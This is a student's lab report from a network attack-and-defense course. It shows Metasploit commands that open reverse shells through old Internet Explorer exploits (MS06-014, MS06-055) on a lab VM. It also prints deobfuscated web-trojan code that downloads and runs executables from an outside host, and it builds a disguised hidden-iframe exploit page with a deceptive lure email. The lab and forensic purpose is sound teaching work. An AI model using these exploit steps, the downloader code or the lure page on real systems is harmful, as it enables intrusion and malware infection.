20252902 2025-2026-2 《网络攻防实践》第11周作业
1. 实践内容
本次实践围绕 Web 浏览器渗透攻击、网页木马取证分析和浏览器端攻防对抗展开。
第一部分是 Web 浏览器渗透攻击。实验中使用 Kali 攻击机和 Windows 靶机,通过 Metasploit 构造针对 Internet Explorer 的恶意网页,靶机浏览器访问该网页后,攻击机尝试获得远程 Shell 会话。
第二部分是网页木马攻击场景取证分析。从 start.html 开始追踪后续页面和脚本,对解密出的文件地址计算 32 位 MD5,再根据散列值下载对应文件。若文件为网页或脚本,则继续解混淆和解密;若文件为二进制程序,则通过静态反汇编或动态调试分析其行为。
第三部分是 Web 浏览器渗透攻击攻防对抗。攻击方构造并混淆挂马链接,防守方提取链接、恢复代码、判断漏洞类型,理解浏览器端漏洞利用与防护思路。
2. 实践过程
2.1 Web 浏览器渗透攻击
| 名称 | 虚拟机 | IP 地址 |
|---|---|---|
| 攻击机 | Kali,主机名 lujinyu | 192.168.190.130 |
| 靶机 | Win2kServer | 192.168.190.131 |
首先在 Windows 靶机中查看 IP 地址并 ping 攻击机,确认靶机地址为 192.168.190.131,可以连通 Kali 攻击机 192.168.190.130。
在 Kali 中查看网络配置,确认攻击机 eth0 地址为 192.168.190.130,并 ping 靶机 192.168.190.131 验证连通性。终端提示符显示主机名为 lujinyu。
启动 Metasploit 框架控制台:
msfconsole
搜索 MS06-014 相关模块,在结果中可以看到 exploit/windows/browser/ie_createobject 模块。
search MS06-014
加载 IE CreateObject 漏洞利用模块:
use exploit/windows/browser/ie_createobject
设置反向 Shell 载荷、攻击机监听地址,并记录靶机地址。该浏览器攻击模块需要靶机主动访问恶意 URL,因此核心参数是 LHOST 和服务端 URL。
set payload generic/shell_reverse_tcp
set LHOST 192.168.190.130
set RHOST 192.168.190.131
运行模块后,Metasploit 提示开始在攻击机上监听并生成恶意页面地址:
run
实验中最终生成的访问地址为:
http://192.168.190.130:8080/QOd5aJLyLtP11Q
在 Windows 靶机的 Internet Explorer 中访问该 URL,页面返回随机字符串,说明靶机已经访问到攻击机提供的恶意页面。
返回 Kali 查看 Metasploit 控制台,可以看到靶机访问后建立了 shell 会话。
进入第 1 个会话:
sessions -i 1
会话中显示 Microsoft Windows 2000 [Version 5.00.2195],说明已经进入靶机命令行环境。
在远程 Shell 中执行 ipconfig,回显的地址为 192.168.190.131,与靶机 IP 一致,说明 MS06-014 浏览器渗透攻击成功。
2.2 网页木马攻击场景取证分析
将 start.html 放入 Windows 分析环境,用记事本打开后可以看到页面中包含大量脚本逻辑。
使用查找功能搜索 new09.htm,定位到后续页面地址,说明 start.html 会继续引导浏览器访问 new09.htm。
根据后续页面线索,计算两个可疑 URL 的 MD5 值:
| URL | 32 位 MD5 |
|---|---|
http://js.users.51.la/1299644.js |
23180a42a2ff1192150231b44ffdf3d3 |
http://aa.18dd.net/aa/kl.htm |
7f60672dcd6b5e90b6772545ee219bd3 |
在实验压缩包的 hashed 目录中查找相应散列文件。23180a42a2ff1192150231b44ffdf3d3 文件内容提示其为流量统计代码,并非木马核心。
继续打开 7f60672dcd6b5e90b6772545ee219bd3 文件,可以看到其内容是混淆后的 JavaScript。
分析代码中出现的 xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'),可判断该文件经过 Base64 与 XXTEA 加密,密钥的十六进制转字符串结果为 script。
使用 XXTEA 工具以 script 为密钥进行解密,得到以 \x.. 形式表示的脚本内容。
将十六进制转为文本后,恢复出的核心逻辑如下:
function init(){ document.write(); }
window.onload = init;
if(document.cookie.indexOf('OK') == -1){
try{
var e;
var ado = document.createElement("object");
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as = ado.createobject("Adodb.Stream","");
} catch(e) {}
finally{
if(e != "[object Error]"){
document.write("<script src=http://aa.18dd.net/aa/1.js><\/script>");
} else {
try{ var f; var storm = new ActiveXObject("MPS.StormPlayer"); } catch(f) {}
finally{
if(f != "[object Error]"){
document.write("<script src=http://aa.18dd.net/aa/b.js><\/script>");
}
}
try{ var g; var pps = new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1"); } catch(g) {}
finally{
document.write("<script src=http://aa.18dd.net/aa/pps.js><\/script>");
}
try{ var h; var obj = new ActiveXObject("BaiduBar.Tool"); } catch(h) {}
finally{
if(h != "[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0);
}
}
}
}
}
该脚本会根据 IE 中存在的 ActiveX 控件选择不同攻击分支,主要涉及:
| 组件或漏洞点 | 后续资源 |
|---|---|
Adodb.Stream |
http://aa.18dd.net/aa/1.js |
暴风影音 MPS.StormPlayer |
http://aa.18dd.net/aa/b.js |
PPS POWERPLAYER.PowerPlayerCtrl.1 |
http://aa.18dd.net/aa/pps.js |
百度工具栏 BaiduBar.Tool |
http://down.18dd.net/bb/bd.cab |
继续对后续资源计算 MD5:
| URL | 32 位 MD5 |
|---|---|
http://aa.18dd.net/aa/1.js |
5d7e9058a857aa2abee820d5473c5fa4 |
http://aa.18dd.net/aa/b.js |
3870c28cc279d457746b3796a262f166 |
http://aa.18dd.net/aa/pps.js |
5f0b8bf0385314dbe0e5ec95e6abedc2 |
http://down.18dd.net/bb/bd.cab |
1c1d7b3539a617517c49eee4120783b2 |
打开 5d7e9058a857aa2abee820d5473c5fa4 后,可以看到该脚本使用 eval 和转义编码进行混淆。
使用 Packed/转义解密后,恢复出的脚本会下载并执行 014.exe:
var url = "http://down.18dd.net/bb/014.exe";
try{
var xml = ado.CreateObject("Microsoft.XMLHTTP","");
xml.Open("GET", url, 0);
xml.Send();
as.type = 1;
as.open();
as.write(xml.responseBody);
path = "..\\ntuser.com";
as.savetofile(path, 2);
as.close();
var shell = ado.createobject("Shell.Application","");
shell.ShellExecute("cmd.exe", "/c " + path, "", "open", 0);
}catch(e){}
打开 3870c28cc279d457746b3796a262f166 文件后,同样发现 Packed 混淆痕迹。
解密后可见其核心是针对暴风影音 ActiveX 控件的栈溢出利用:通过构造 NOP 滑板、ShellCode 和长缓冲区,调用 storm.rawParse(buffer) 触发漏洞,随后下载并运行恶意程序。
打开 5f0b8bf0385314dbe0e5ec95e6abedc2 后,内容以八进制编码表示。
将八进制转换为文本后,可以看到它创建 PPS 播放器 ActiveX 对象,并给 pps.Logo 赋予超长数据触发漏洞:
pps = document.createElement("object");
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458");
var shellcode = unescape("...");
var bigblock = unescape("%u9090%u9090");
memory = new Array();
for (x = 0; x < 400; x++) memory[x] = block + shellcode;
var buffer = "";
while (buffer.length < 500) buffer += "\x0a\x0a\x0a\x0a";
pps.Logo = buffer;
最后分析 bd.cab,在 original 目录中打开压缩包可以看到其中包含 bd.exe。
使用 IDA 打开 bd.exe,在导入表和字符串窗口中可以看到 CreateFileA、WriteFile、WinExec 等行为相关 API,以及多个 http://down.18dd.net/kl/ 下载地址。由此判断 bd.exe 是下载器木马,会继续从远程地址下载并执行多个恶意程序。
2.3 Web 浏览器渗透攻击攻防对抗
| 名称 | 虚拟机 | IP 地址 |
|---|---|---|
| 攻击机 | Kali,主机名 lujinyu | 192.168.190.130 |
| 靶机 | Win2kServer | 192.168.190.131 |
再次在 Kali 中 ping 靶机,确认攻防对抗实验环境仍然连通。
2.3.1 构造第一个浏览器漏洞:MS06-055
选择 exploit/windows/browser/ms06_055_vml_method 模块,设置监听端口、访问路径和反向 Shell 端口:
msfconsole
use exploit/windows/browser/ms06_055_vml_method
set SRVHOST 0.0.0.0
set SRVPORT 8081
set URIPATH /ms06055
set payload windows/shell/reverse_tcp
set LHOST 192.168.190.130
set LPORT 4455
set ExitOnSession false
set VERBOSE true
run -j
生成的第一个恶意 URL 为:
http://192.168.190.130:8081/ms06055
靶机访问该 URL 后,Metasploit 显示 Command shell session 1 opened,说明 MS06-055 利用成功。
进入会话后执行 ipconfig,确认远程 Shell 来自 192.168.190.131 靶机。
2.3.2 构造第二个浏览器漏洞:MS06-014
新开终端后继续选择 exploit/windows/browser/ie_createobject 模块,端口和路径与 MS06-055 区分开:
msfconsole
use exploit/windows/browser/ie_createobject
set SRVHOST 0.0.0.0
set SRVPORT 8082
set URIPATH /ms06014
set payload windows/shell/reverse_tcp
set LHOST 192.168.190.130
set LPORT 5544
set ExitOnSession false
set VERBOSE true
run -j
生成的第二个恶意 URL 为:
http://192.168.190.130:8082/ms06014
靶机访问 URL 后,Metasploit 显示发送 exploit HTML 和 EXE payload,并打开命令行会话。
再次执行 ipconfig,返回的 IP 为 192.168.190.131,说明第二个漏洞利用也成功。
2.3.3 混淆并组装统一入口 URL
为了不在邮件中直接暴露真实漏洞路径,将两个恶意 URL 转为十六进制字符串:
| 原始 URL | 十六进制编码 |
|---|---|
http://192.168.190.130:8081/ms06055 |
68 74 74 70 3A 2F 2F 31 39 32 2E 31 36 38 2E 31 39 30 2E 31 33 30 3A 38 30 38 31 2F 6D 73 30 36 30 35 35 |
http://192.168.190.130:8082/ms06014 |
68 74 74 70 3A 2F 2F 31 39 32 2E 31 36 38 2E 31 39 30 2E 31 33 30 3A 38 30 38 32 2F 6D 73 30 36 30 31 34 |
在 Kali 上启动 Apache 服务,并确认服务处于 active (running) 状态。
sudo systemctl start apache2
sudo systemctl status apache2
创建统一入口页面 /var/www/html/ljy/20252902.html。该页面看起来像普通的浏览器兼容性测试页面,实际会把十六进制字符串还原为真实漏洞 URL,再通过隐藏 iframe 同时加载两个利用页面。
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>浏览器兼容性测试</title>
</head>
<body>
<h3>浏览器兼容性测试页面</h3>
<p>正在加载实验资源,请稍候 ...</p>
<script>
function hex2str(hex) {
var str = "";
hex = hex.replace(/\s+/g, "");
for (var i = 0; i < hex.length; i += 2) {
str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
}
return str;
}
function loadWithWrite(url) {
document.write('<iframe src="' + url + '" width=1 height=1 style="display:none"></iframe>');
}
var url1 = "687474703A2F2F3139322E3136382E3139302E3133303A383038312F6D733036303535";
var url2 = "687474703A2F2F3139322E3136382E3139302E3133303A383038322F6D733036303134";
loadWithWrite(hex2str(url1));
loadWithWrite(hex2str(url2));
</script>
</body>
</html>
统一入口 URL 为:
http://192.168.190.130/ljy/20252902.html
模拟欺骗性邮件内容如下:
主题:浏览器兼容性测试实验通知
同学你好:
本次上机需要完成浏览器兼容性验证实验,请在实验靶机 IE 浏览器访问下方测试页面,
对照页面提示完成相关测试任务:
http://192.168.190.130/ljy/20252902.html
该地址为实验内网专用链接,仅限课堂靶机环境访问使用。
Copyright © 20252902 lujinyu. All Rights Reserved.
在靶机中访问统一入口页面。
使用 Wireshark 抓包,可以看到靶机发出了对 /ms06055 和 /ms06014 的 HTTP GET 请求,说明两个隐藏 iframe 均被加载。
2.3.4 防守方分析
防守方查看入口页面源码后,可以发现页面中存在 hex2str 函数和两段十六进制字符串。
将十六进制字符串转换回文本后,可以恢复出真实漏洞利用地址:
http://192.168.190.130:8081/ms06055
http://192.168.190.130:8082/ms06014
结合路径名和 Metasploit 模块特征,可以判断该挂马入口封装了两个浏览器漏洞:
| 恢复出的路径 | 漏洞类型 | 攻击目标 |
|---|---|---|
/ms06055 |
MS06-055 VML Fill Method Code Execution | Internet Explorer VML 组件漏洞 |
/ms06014 |
MS06-014 CreateObject Code Execution | Internet Explorer ActiveX/CreateObject 相关漏洞 |
3. 实验中遇到的问题及解决
问题一:在使用 ie_createobject 模块时输入 set RHOST 192.168.190.131 后,Metasploit 提示 Unknown datastore option: RHOST。
原因是该模块属于浏览器客户端攻击模块,攻击方不是主动连接靶机服务,而是启动 Web 服务等待靶机浏览器访问。因此实验中应重点设置 LHOST、SRVPORT、URIPATH 等参数,并让靶机 IE 主动访问生成的 URL。
问题二:统一入口页面需要同时触发两个漏洞页面。若将 document.write 放在 window.onload 回调中,浏览器在第一个漏洞页面触发异常后可能中断后续脚本,导致第二个 iframe 没有发出请求。
解决方法是将两个 document.write 放在页面解析阶段连续执行,使两个隐藏 iframe 尽早被创建。最终通过 Wireshark 看到 /ms06055 和 /ms06014 均被请求,说明该方案有效。
问题三:网页木马取证中遇到多层混淆,包括 Base64、XXTEA、Packed、十六进制和八进制编码。
解决方法是先识别加密函数和密钥,再按调用链逐层还原。7f60672d... 文件中的 XXTEA 密钥由 \x73\x63\x72\x69\x70\x74 转换得到,为 script;后续脚本再分别用 Packed 解密、十六进制转文本、八进制转文本等方式恢复。
4. 学习感想与体会
本次实验把浏览器端攻击、挂马取证和攻防对抗串成了一条完整链路。第一部分让我理解了客户端漏洞利用与传统服务端攻击的区别:攻击者需要搭建恶意页面,等待靶机浏览器访问后才会获得会话。
取证部分最能体现耐心和思路的重要性。网页木马并不是一眼就能看到恶意逻辑,而是通过多层编码和混淆隐藏真实下载地址。按 start.html、new09.htm、散列文件、后续脚本、二进制程序的顺序逐层追踪后,才能看清它利用 ActiveX 控件探测环境、分支加载脚本、下载木马的完整攻击链。
攻防对抗部分让我认识到,攻击方可以通过统一入口、十六进制编码和隐藏 iframe 隐蔽真实漏洞地址;但防守方只要查看源码、还原编码并结合抓包结果,仍然能够定位到 /ms06055 和 /ms06014 两条真实利用路径。这个过程也说明,防护不能只依赖表面 URL 检查,还需要结合代码审计、流量分析和浏览器安全配置进行综合判断。

浙公网安备 33010602011771号